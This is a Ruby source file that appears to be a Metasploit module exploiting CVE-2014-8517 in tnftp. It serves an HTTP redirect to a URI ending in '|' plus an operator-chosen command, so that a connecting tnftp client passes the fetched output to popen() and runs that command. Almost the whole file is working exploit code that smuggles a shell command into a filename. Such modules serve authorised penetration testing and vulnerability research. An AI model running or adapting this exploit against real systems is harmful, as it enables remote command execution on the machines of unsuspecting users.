89 lines
2.4 KiB
Ruby
89 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpServer
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'tnftp "savefile" Arbitrary Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in
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tnftp's handling of the resolved output filename - called "savefile" in
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the source - from a requested resource.
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If tnftp is executed without the -o command-line option, it will resolve
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the output filename from the last component of the requested resource.
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If the output filename begins with a "|" character, tnftp will pass the
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fetched resource's output to the command directly following the "|"
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character through the use of the popen() function.
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},
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'Author' => [
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'Jared McNeill', # Vulnerability discovery
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'wvu' # Metasploit module
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],
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'References' => [
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['CVE', '2014-8517'],
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['URL', 'http://seclists.org/oss-sec/2014/q4/459']
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],
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'DisclosureDate' => 'Oct 28 2014',
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'License' => MSF_LICENSE,
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'Actions' => [
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['Service']
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],
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'PassiveActions' => [
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'Service'
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],
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'DefaultAction' => 'Service'
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))
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register_options([
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OptString.new('CMD', [true, 'Command to run', 'uname -a'])
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])
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end
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def run
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exploit
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end
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def on_request_uri(cli, request)
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unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
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print_status("#{request['User-Agent']} connected")
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send_not_found(cli)
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return
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end
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if request.uri.ends_with?(sploit)
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send_response(cli, '')
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print_good("Executing `#{datastore['CMD']}'!")
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report_vuln(
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:host => cli.peerhost,
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:name => self.name,
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:refs => self.references,
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:info => request['User-Agent']
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)
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else
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print_status("#{request['User-Agent']} connected")
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print_status('Redirecting to exploit...')
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send_redirect(cli, sploit_uri)
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end
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end
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def sploit_uri
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(get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
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Rex::Text.uri_encode(sploit, 'hex-all')
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end
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def sploit
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"|#{datastore['CMD']}"
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end
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end
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